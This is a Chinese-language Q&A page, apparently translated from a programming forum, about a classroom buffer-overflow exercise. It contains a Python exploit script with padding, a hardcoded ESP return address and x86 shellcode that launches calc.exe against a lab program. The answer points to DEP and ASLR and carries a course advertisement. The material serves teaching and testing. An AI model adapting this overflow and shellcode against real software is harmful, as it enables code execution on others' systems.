对于缓冲区溢出渗透测试,calculator.exe shellcode 将无法在 python 文件中运行

问题描述 投票:0回答:1

我正在尝试缓冲区溢出渗透测试,其想法是最终让计算器执行。一切正确后,例如计算溢出缓冲区并到达 eip 所需的字节,并实际将 esp 的地址放入我的有效负载,如我的 python 代码所示(是的,它是倒序的),计算器根本不起作用。 shellcode 是由我的教授提供的,同学们只需运行 python 代码就可以运行计算器,而无需实际输入攻击所需的真实地址。所以,我想知道我的问题是什么。

可能是像操作系统的保护功能这样简单的东西吗?

这是Python代码,用作恶意代码。

from subprocess import Popen, PIPE
payload = b"\xc4"* 62
payload += b"\x87\xc0\xbc\x76"
payload += (b"\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
            b"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
            b"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75"
            b"\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
            b"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
            b"\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53"
            b"\x53\x53\x53\x53\x52\x53\xff\xd7") # execute calc.exe

p = Popen(["overflow.exe"], stdout=PIPE, stdin=PIPE)
p.communicate(payload)

欲了解更多信息, 我的 esp 地址是 0x76bcc087 我需要62字节才能到达eip(由dbg上的mona.py计算

python buffer-overflow shellcode penetration-testing
1个回答
-1
投票

听起来您已经正确设置了缓冲区溢出,但现代操作系统保护(例如 DEP 或 ASLR)可能会阻止 shellcode 执行。这些保护可以防止有效负载在可预测的内存位置执行,这是渗透测试中的常见挑战。在受控环境中暂时禁用这些设置可能有助于确定它们是否是问题所在。涵盖这些概念的课程,例如澳大利亚提供的渗透测试最佳课程,有助于理解和绕过此类防御。

© www.soinside.com 2019 - 2024. All rights reserved.